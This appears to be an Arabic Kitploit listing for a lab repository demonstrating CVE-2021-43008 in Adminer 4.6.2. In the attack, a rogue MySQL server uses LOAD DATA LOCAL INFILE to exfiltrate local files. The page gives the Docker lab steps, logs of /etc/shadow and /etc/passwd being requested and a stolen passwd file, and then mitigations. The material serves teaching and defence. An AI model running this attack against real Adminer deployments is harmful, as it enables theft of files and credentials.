Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
adminer_CVE-2021-43008 — بيئة عرض توضيحي للثغرة الأمنية CVE-2021-43008 في Adminer: مراقبة التأثير الفعلي واختبار إجراءات التخفيف. | Kitploit
أدوات/GitHubGitHub/bamolitho/adminer_cve-2021-43008
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

بيئة عرض توضيحي للثغرة الأمنية CVE-2021-43008 في Adminer: مراقبة التأثير الفعلي واختبار إجراءات التخفيف.

عرض المستودع
13منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

**CVE-2021-43008 — ثغرة Adminer **

قراءة تعسفية للملفات عبر خادم MySQL خبيث

1. ما هو Adminer ؟

Adminer هي أداة ويب (PHP) تُستخدم لإدارة قواعد البيانات MySQL و PostgreSQL و SQLite و SQL Server بسهولة. يتم نشرها عادةً كبديل خفيف لـ phpMyAdmin.

الإصدارات المتأثرة: Adminer ≤ 4.6.2


2. ما طبيعة الثغرة ؟

2.1. فشل التحكم في الوصول

يسمح Adminer بالاتصال بأي خادم MySQL بعيد. أثناء الاتصال بخادم MySQL، يقبل العميل (هنا Adminer) ما يلي:

  • مجموعة من التعليمات الأولية من الخادم،
  • بما في ذلك الأمر LOAD DATA LOCAL INFILE، الذي يسمح للخادم بطلب ملف محلي من العميل.

2.2. المشكلة

لا يتحقق Adminer بشكل صحيح من استجابات خادم MySQL في الإصدارات الضعيفة.

النتيجة: يمكن لخادم MySQL يتحكم فيه مهاجم أن يطلب:

"اقرأ هذا الملف المحلي على الجهاز أو الحاوية التي تستضيف Adminer وأرسله إلي."

ترتبط هذه الآلية بحزمة MySQL: 0xFB | filename → تؤدي إلى قراءة الملف المحلي.

لماذا الإصدار 4.6.2 ضعيف

يسمح Adminer 4.6.2 للمستخدم بتحديد خادم MySQL خارجي والاتصال به بحرية. علاوة على ذلك، سمح MySQL – افتراضيًا – باستخدام:

  • LOAD DATA LOCAL INFILE
  • في الوضع التلقائي عندما تطلب بعض الخوادم ملفًا.

لذا: Adminer → يتصل بالخادم الخبيث → يطلب الخادم الخبيث ملفًا → يرسله Adminer.

هذا جوهر الثغرة.


3. شروط الاستغلال

يجب على المهاجم:

  1. استضافة خادم MySQL خبيث (Rogue MySQL Server).
  2. جعل Adminer يتصل بخادمه:
    • عبر خطأ في التكوين،
    • عبر واجهة مكشوفة للجمهور،
    • عبر إجراء من مستخدم (هجوم من نوع "supply host").
  3. يرسل خادم MySQL الخبيث حزمة LOAD DATA LOCAL INFILE.
  4. يقرأ Adminer ملفًا محليًا.
  5. يُرسل الملف إلى المهاجم.

لا حاجة لكلمة مرور root لاستخراج ملف محلي: يقوم Adminer بتنفيذ الإجراء كتطبيق PHP على الخادم الهدف.


4. عواقب الثغرة

4.1. انتهاك السرية

يمكن للمهاجم:

  • قراءة /etc/passwd (للكيان المستضيف لـ adminer: الجهاز المضيف أو الحاوية)،
  • قراءة /etc/shadow (حسب صلاحيات مستخدم PHP)،
  • الحصول على ملفات التكوين،
  • سرقة بيانات اعتماد اتصالات MySQL،
  • استخراج جميع المعلومات المتاحة لمستخدم الويب.

4.2. تصعيد التأثير

باستخدام بيانات اعتماد MySQL المسروقة (مرحلة ثانوية)، يمكنه بعد ذلك:

  • الاتصال بقاعدة البيانات الداخلية الحقيقية،
  • قراءة البيانات،
  • الكتابة في الجداول،
  • حقن حمولات ضارة.

5. عرض عملي (PoC) — بنية المختبر

يتم PoC في بيئة معزولة و محوسبة لتجنب أي خطر.

5.1. مكونات المختبر

  1. Adminer ضعيف (الإصدار 4.6.2) الدور: ضحية معروض محليًا عبر localhost:8080
  2. MySQL شرعي (اختياري) الدور: محاكاة قاعدة بيانات حقيقية
  3. خادم Rogue MySQL (Python) الدور: مهاجم يرسل الحزم 0xFB filename لإجبار Adminer على قراءة ملف محلي.

5.2. هيكل المجلد

root@kitploit:~
adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile

6. سير PoC: كيف تظهر الثغرة؟

6.1. بدء المختبر

root@kitploit:~
docker compose build && docker compose up -d

6.2. الاتصال من Adminer إلى الخادم الخبيث

في http://localhost:8080:

  • النظام: MySQL
  • الخادم: rogue_mysql:33306
  • المستخدم: أي
  • كلمة المرور: أي

6.3. السير التلقائي

  1. يرسل Adminer المصافحة (handshake).
  2. يعيد الخادم الخبيث LOAD DATA LOCAL INFILE '/etc/passwd'.
  3. يقرأ Adminer /etc/passwd.
  4. يرسل Adminer محتواه إلى الخادم الخبيث.
  5. يخزن الخادم الخبيث النص في stolen_file.txt.

6.4. النتيجة الملاحظة

استخدم الأمر التالي لرؤية سجلات الخادم الخبيث:

root@kitploit:~
docker logs -f rogue_mysql

النتيجة المتوقعة:

root@kitploit:~
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt

اطلع على محتوى ملف stolen_file.txt:

root@kitploit:~
docker exec -it rogue_mysql sh

بمجرد الدخول إلى الحاوية، يمكنك عرض محتويات الملفات بما في ذلك stolen_file.txt

root@kitploit:~
# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
root@kitploit:~
# cat stolen_file.txt

النتيجة:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

توضح هذه النتيجة الثغرة دون أي غموض.

7. إجراءات التخفيف

أ. تحديث Adminer (يكفي وحده)

الحل الأكثر موثوقية: الانتقال إلى Adminer ≥ 4.6.3

الإصدارات اللاحقة تصحح السلوك الشبكي.

ما تم إصلاحه في الإصدارات التالية

منذ Adminer 4.7.x، تم إدخال عدة حمايات:

Adminer يمنع الآن افتراضيًا LOAD DATA LOCAL INFILE

أي:

  • إما معطل تمامًا
  • أو مفعل فقط عندما يصرح المستخدم صراحةً

→ النتيجة: لم يعد خادم MySQL الخبيث قادرًا على استخراج الملفات.

Adminer يقوم بتصفية إجراءات العميل قبل الإرسال إلى الخادم

يمنع الاتصالات الخارجية من استخدام وظائف خطيرة.

آليات إضافية للتحقق من الإدخال

تتحقق الإصدارات الجديدة مما يلي:

  • هل الخادم الهدف هو المتوقع
  • هل الإجراء ليس خطيرًا
  • هل الاستعلام يتوافق مع إجراء مستخدم شرعي

ب. تعطيل الاتصالات الخارجية

تقييد Adminer بالمضيفين الداخليين فقط:

  • عبر جدار الحماية (OUTPUT + DOCKER NETWORKS)،
  • عبر وكيل عكسي مصفى،
  • عبر تكوين شبكي مقيد محليًا بشكل صارم.

يجب أن يشير Adminer في الإنتاج دائمًا إلى MySQL داخلي.


ج. تعطيل LOCAL INFILE من جانب MySQL

يمنع السرقة عبر عميل MySQL شرعي:

root@kitploit:~
[mysqld]
local_infile=0

أو:

root@kitploit:~
SET GLOBAL local_infile=0;

د. عدم كشف Adminer علنًا أبدًا

لا ينبغي أن يكون Adminer متاحًا على الإنترنت.

في الإنتاج:

  • وصول محدود عبر VPN،
  • SSO أو مصادقة قوية،
  • انتهاء صلاحية تلقائي.

هـ. حذف Adminer بعد الاستخدام

يجب النظر إلى Adminer كأداة مؤقتة:

  • يتم نشره لمهمة محددة،
  • ثم يتم حذفه بعد ذلك.

8. الموارد والمراجع الموثوقة

  • مصدر السكريبت Python المستخدم: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
  • الموقع الرسمي لـ Adminer https://www.adminer.org/en/
  • Sansec (النشر الأولي) https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
  • Podalirius (شروحات تقنية + PoC) https://podalirius.net/en/cves/2021-43008/
  • vulhub: https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

9. ملخص نهائي

CVE-2021-43008 هي ثغرة حرجة في Adminer ≤ 4.6.2 تتيح:

  • لمهاجم يتحكم في خادم MySQL،
  • إجبار Adminer على قراءة ملف محلي،
  • ثم استخراج محتواه إلى المهاجم.

هذا دليل مثالي على أهمية:

  • التحكم في الشبكة،
  • قيود عميل MySQL،
  • عدم كشف أدوات الإدارة،
  • إدارة إصدارات البرمجيات.

تنزيل الأداة